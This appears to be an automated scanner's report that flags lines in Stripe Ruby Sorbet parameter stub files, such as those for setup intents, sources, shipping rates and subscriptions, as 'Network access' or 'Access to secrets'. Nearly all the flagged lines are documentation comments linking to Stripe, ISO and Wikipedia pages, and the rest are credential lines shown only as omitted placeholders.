    class Promptpay < ::Stripe::RequestParams; end       class RadarOptions < ::Stripe::RequestParams         # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Ra
  • Network accessline 392
    class RadarOptions < ::Stripe::RequestParams         # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. 
  • Network accessline 393
    # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments.
  • Network accessline 662
    }       def mb_way=(_mb_way); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi
  • Network accessline 663
    def mb_way=(_mb_way); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key
  • Network accessline 664
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 760
    }       def promptpay=(_promptpay); end       # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.
  • Network accessline 761
    def promptpay=(_promptpay); end       # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.       sig { returns(T.nilable(SetupIntentCreateParams::PaymentMethodData::RadarOption
  • Network accessline 762
    # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.
  • Access to secretsline 909
    [Credential-related source omitted]
  • Access to secretsline 910
    [Credential-related source omitted]
  • Network accessline 946
    ); end         end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 947
    end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).         sig { returns(T.nilable(String)) }
  • Network accessline 948
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 1007
    sig { params(_amount_type: String).returns(String) }           def amount_type=(_amount_type); end           # Currency in which future payments will be charged. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.h
  • Network accessline 1008
    def amount_type=(_amount_type); end           # Currency in which future payments will be charged. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stri
  • Network accessline 1009
    # Currency in which future payments will be charged. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 1193
    sig { params(_network: T.nilable(String)).returns(T.nilable(String)) }         def network=(_network); end         # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on ri
  • Network accessline 1194
    def network=(_network); end         # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authe
  • Network accessline 1195
    # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to 
  • Network accessline 1668
    end     class SingleUse < ::Stripe::RequestParams       # Amount the customer is granting permission to collect later. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zer
  • Network accessline 1669
    class SingleUse < ::Stripe::RequestParams       # Amount the customer is granting permission to collect later. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decima
  • Network accessline 1670
    # Amount the customer is granting permission to collect later. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to charge $1.00 or 100 to ch
  • Network accessline 1673
    sig { params(_amount: Integer).returns(Integer) }       def amount=(_amount); end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/do
  • Network accessline 1674
    def amount=(_amount); end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(String) }
  • Network accessline 1675
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 1747
    }     def flow_directions=(_flow_directions); end     # This hash contains details about the mandate to create. This parameter can only be used with [`confirm=true`](https://docs.stripe.com/api/setup_intents/create#create_setup_intent-confi
  • Network accessline 1748
    def flow_directions=(_flow_directions); end     # This hash contains details about the mandate to create. This parameter can only be used with [`confirm=true`](https://docs.stripe.com/api/setup_intents/create#create_setup_intent-confirm).  
  • Network accessline 1749
    # This hash contains details about the mandate to create. This parameter can only be used with [`confirm=true`](https://docs.stripe.com/api/setup_intents/create#create_setup_intent-confirm).
  • Network accessline 1754
    }     def mandate_data=(_mandate_data); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format
  • Network accessline 1755
    def mandate_data=(_mandate_data); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indi
  • Network accessline 1756
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 1771
    sig { params(_payment_method: T.nilable(String)).returns(T.nilable(String)) }     def payment_method=(_payment_method); end     # The ID of the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) to use
  • Network accessline 1772
    def payment_method=(_payment_method); end     # The ID of the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) to use with this SetupIntent.     sig { returns(T.nilable(String)) }
  • Network accessline 1773
    # The ID of the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) to use with this SetupIntent.
  • Network accessline 1776
    sig { params(_payment_method_configuration: T.nilable(String)).returns(T.nilable(String)) }     def payment_method_configuration=(_payment_method_configuration); end     # When included, this hash creates a PaymentMethod that is set as the 
  • Network accessline 1777
    def payment_method_configuration=(_payment_method_configuration); end     # When included, this hash creates a PaymentMethod that is set as the [`payment_method`](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-payment_
  • Network accessline 1778
    # When included, this hash creates a PaymentMethod that is set as the [`payment_method`](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-payment_method)
  • Network accessline 1791
    }     def payment_method_options=(_payment_method_options); end     # The list of payment method types (for example, card) that this SetupIntent can use. If you don't provide this, Stripe will dynamically show relevant payment methods from 
  • Network accessline 1792
    def payment_method_options=(_payment_method_options); end     # The list of payment method types (for example, card) that this SetupIntent can use. If you don't provide this, Stripe will dynamically show relevant payment methods from your [
  • Network accessline 1793
    # The list of payment method types (for example, card) that this SetupIntent can use. If you don't provide this, Stripe will dynamically show relevant payment methods from your [payment method settings](https://dashboard.stripe.com/settings
  • Network accessline 1798
    }     def payment_method_types=(_payment_method_types); end     # The URL to redirect your customer back to after they authenticate or cancel their payment on the payment method's app or site. To redirect to a mobile application, you can al
  • Network accessline 1799
    def payment_method_types=(_payment_method_types); end     # The URL to redirect your customer back to after they authenticate or cancel their payment on the payment method's app or site. To redirect to a mobile application, you can alternat
  • Network accessline 1800
    # The URL to redirect your customer back to after they authenticate or cancel their payment on the payment method's app or site. To redirect to a mobile application, you can alternatively supply an application URI scheme. This parameter can

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/setup_intent_retrieve_params.rbi

  • Access to secretsline 9
    [Credential-related source omitted]
  • Access to secretsline 11
    [Credential-related source omitted]
  • Access to secretsline 17
    [Credential-related source omitted]
  • Access to secretsline 18
    [Credential-related source omitted]

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/setup_intent_update_params.rbi

  • Network accessline 69
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }           def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 70
    def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 71
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 89
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }           def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 90
    def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 91
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 315
    class Promptpay < ::Stripe::RequestParams; end       class RadarOptions < ::Stripe::RequestParams         # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Ra
  • Network accessline 316
    class RadarOptions < ::Stripe::RequestParams         # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. 
  • Network accessline 317
    # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments.
  • Network accessline 586
    }       def mb_way=(_mb_way); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi
  • Network accessline 587
    def mb_way=(_mb_way); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key
  • Network accessline 588
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 684
    }       def promptpay=(_promptpay); end       # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.
  • Network accessline 685
    def promptpay=(_promptpay); end       # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.       sig { returns(T.nilable(SetupIntentUpdateParams::PaymentMethodData::RadarOption
  • Network accessline 686
    # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.
  • Access to secretsline 833
    [Credential-related source omitted]
  • Access to secretsline 834
    [Credential-related source omitted]
  • Network accessline 870
    ); end         end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 871
    end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).         sig { returns(T.nilable(String)) }
  • Network accessline 872
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 931
    sig { params(_amount_type: String).returns(String) }           def amount_type=(_amount_type); end           # Currency in which future payments will be charged. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.h
  • Network accessline 932
    def amount_type=(_amount_type); end           # Currency in which future payments will be charged. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stri
  • Network accessline 933
    # Currency in which future payments will be charged. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 1117
    sig { params(_network: T.nilable(String)).returns(T.nilable(String)) }         def network=(_network); end         # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on ri
  • Network accessline 1118
    def network=(_network); end         # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authe
  • Network accessline 1119
    # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to 
  • Network accessline 1638
    }     def flow_directions=(_flow_directions); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured 
  • Network accessline 1639
    def flow_directions=(_flow_directions); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format
  • Network accessline 1640
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 1650
    sig { params(_payment_method: T.nilable(String)).returns(T.nilable(String)) }     def payment_method=(_payment_method); end     # The ID of the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) to use
  • Network accessline 1651
    def payment_method=(_payment_method); end     # The ID of the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) to use with this SetupIntent.     sig { returns(T.nilable(String)) }
  • Network accessline 1652
    # The ID of the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) to use with this SetupIntent.
  • Network accessline 1655
    sig { params(_payment_method_configuration: T.nilable(String)).returns(T.nilable(String)) }     def payment_method_configuration=(_payment_method_configuration); end     # When included, this hash creates a PaymentMethod that is set as the 
  • Network accessline 1656
    def payment_method_configuration=(_payment_method_configuration); end     # When included, this hash creates a PaymentMethod that is set as the [`payment_method`](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-payment_
  • Network accessline 1657
    # When included, this hash creates a PaymentMethod that is set as the [`payment_method`](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-payment_method)
  • Network accessline 1670
    }     def payment_method_options=(_payment_method_options); end     # The list of payment method types (for example, card) that this SetupIntent can set up. If you don't provide this, Stripe will dynamically show relevant payment methods fr
  • Network accessline 1671
    def payment_method_options=(_payment_method_options); end     # The list of payment method types (for example, card) that this SetupIntent can set up. If you don't provide this, Stripe will dynamically show relevant payment methods from you
  • Network accessline 1672
    # The list of payment method types (for example, card) that this SetupIntent can set up. If you don't provide this, Stripe will dynamically show relevant payment methods from your [payment method settings](https://dashboard.stripe.com/setti

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/shipping_rate_create_params.rbi

  • Network accessline 73
    sig { params(_amount: Integer).returns(Integer) }       def amount=(_amount); end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/do
  • Network accessline 74
    def amount=(_amount); end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(String) }
  • Network accessline 75
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 78
    sig { params(_currency: String).returns(String) }       def currency=(_currency); end       # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currenc
  • Network accessline 79
    def currency=(_currency); end       # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.
  • Network accessline 80
    # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 116
    }     def fixed_amount=(_fixed_amount); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format
  • Network accessline 117
    def fixed_amount=(_fixed_amount); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indi
  • Network accessline 118
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 128
    sig { params(_tax_behavior: T.nilable(String)).returns(T.nilable(String)) }     def tax_behavior=(_tax_behavior); end     # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`.
  • Network accessline 129
    def tax_behavior=(_tax_behavior); end     # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`.     sig { returns(T.nilable(String)) }
  • Network accessline 130
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/shipping_rate_update_params.rbi

  • Network accessline 20
    def initialize(amount: nil, tax_behavior: nil); end       end       # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [sup
  • Network accessline 21
    end       # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies).     
  • Network accessline 22
    # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 51
    }     def fixed_amount=(_fixed_amount); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format
  • Network accessline 52
    def fixed_amount=(_fixed_amount); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indi
  • Network accessline 53
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/source_create_params.rbi

  • Network accessline 136
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 137
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 138
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 156
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }         def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 157
    def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 158
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 269
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }           def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 270
    def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 271
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 289
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }           def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 290
    def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 291
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 362
    sig { params(_amount: T.nilable(Integer)).returns(T.nilable(Integer)) }     def amount=(_amount); end     # Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) associated with the source. This is the currency for wh
  • Network accessline 363
    def amount=(_amount); end     # Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) associated with the source. This is the currency for which the source will be chargeable once ready.     sig { returns(T.nilable(St
  • Network accessline 364
    # Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) associated with the source. This is the currency for which the source will be chargeable once ready.
  • Network accessline 439
    [Credential-related source omitted]
  • Network accessline 440
    [Credential-related source omitted]
  • Network accessline 441
    # The `type` of the source to create. Required unless `customer` and `original_source` are specified (see the [Cloning card Sources](https://docs.stripe.com/sources/connect#cloning-card-sources) guide)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/source_retrieve_params.rbi

  • Access to secretsline 9
    [Credential-related source omitted]
  • Access to secretsline 11
    [Credential-related source omitted]
  • Access to secretsline 17
    [Credential-related source omitted]
  • Access to secretsline 18
    [Credential-related source omitted]

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/source_update_params.rbi

  • Network accessline 136
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 137
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 138
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 156
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }         def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 157
    def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 158
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 251
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }           def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 252
    def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 253
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 271
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }           def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 272
    def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 273
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 356
    }     def mandate=(_mandate); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individu
  • Network accessline 357
    def mandate=(_mandate); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key
  • Network accessline 358
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/subscription_create_params.rbi

  • Network accessline 76
    end       class PriceData < ::Stripe::RequestParams         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 77
    class PriceData < ::Stripe::RequestParams         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).         sig { returns(
  • Network accessline 78
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 81
    sig { params(_currency: String).returns(String) }         def currency=(_currency); end         # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 82
    def currency=(_currency); end         # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.         sig { returns(String) }
  • Network accessline 83
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 86
    sig { params(_product: String).returns(String) }         def product=(_product); end         # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-
  • Network accessline 87
    def product=(_product); end         # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax setting
  • Network accessline 88
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 119
    }       def discounts=(_discounts); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. 
  • Network accessline 120
    def discounts=(_discounts); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individu
  • Network accessline 121
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 138
    sig { params(_price: T.nilable(String)).returns(T.nilable(String)) }       def price=(_price); end       # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.
  • Network accessline 139
    def price=(_price); end       # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.       sig { returns(T.nilable(SubscriptionCreateParams::AddInvoiceItem::Price
  • Network accessline 140
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.
  • Network accessline 335
    class Item < ::Stripe::RequestParams       class BillingThresholds < ::Stripe::RequestParams         # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet 
  • Network accessline 336
    class BillingThresholds < ::Stripe::RequestParams         # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.str
  • Network accessline 337
    # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.stripe.com/api/subscriptions/update#update_subscription-billi
  • Network accessline 379
    def initialize(interval: nil, interval_count: nil); end         end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencie
  • Network accessline 380
    end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).         sig { returns(String) }
  • Network accessline 381
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 384
    sig { params(_currency: String).returns(String) }         def currency=(_currency); end         # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 385
    def currency=(_currency); end         # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.         sig { returns(String) }
  • Network accessline 386
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 396
    }         def recurring=(_recurring); end         # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stri
  • Network accessline 397
    def recurring=(_recurring); end         # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax set
  • Network accessline 398
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 437
    }       def discounts=(_discounts); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. 
  • Network accessline 438
    def discounts=(_discounts); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individu
  • Network accessline 439
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 454
    sig { params(_price: T.nilable(String)).returns(T.nilable(String)) }       def price=(_price); end       # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.
  • Network accessline 455
    def price=(_price); end       # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.       sig { returns(T.nilable(SubscriptionCreateParams::Item::PriceData)) }
  • Network accessline 456
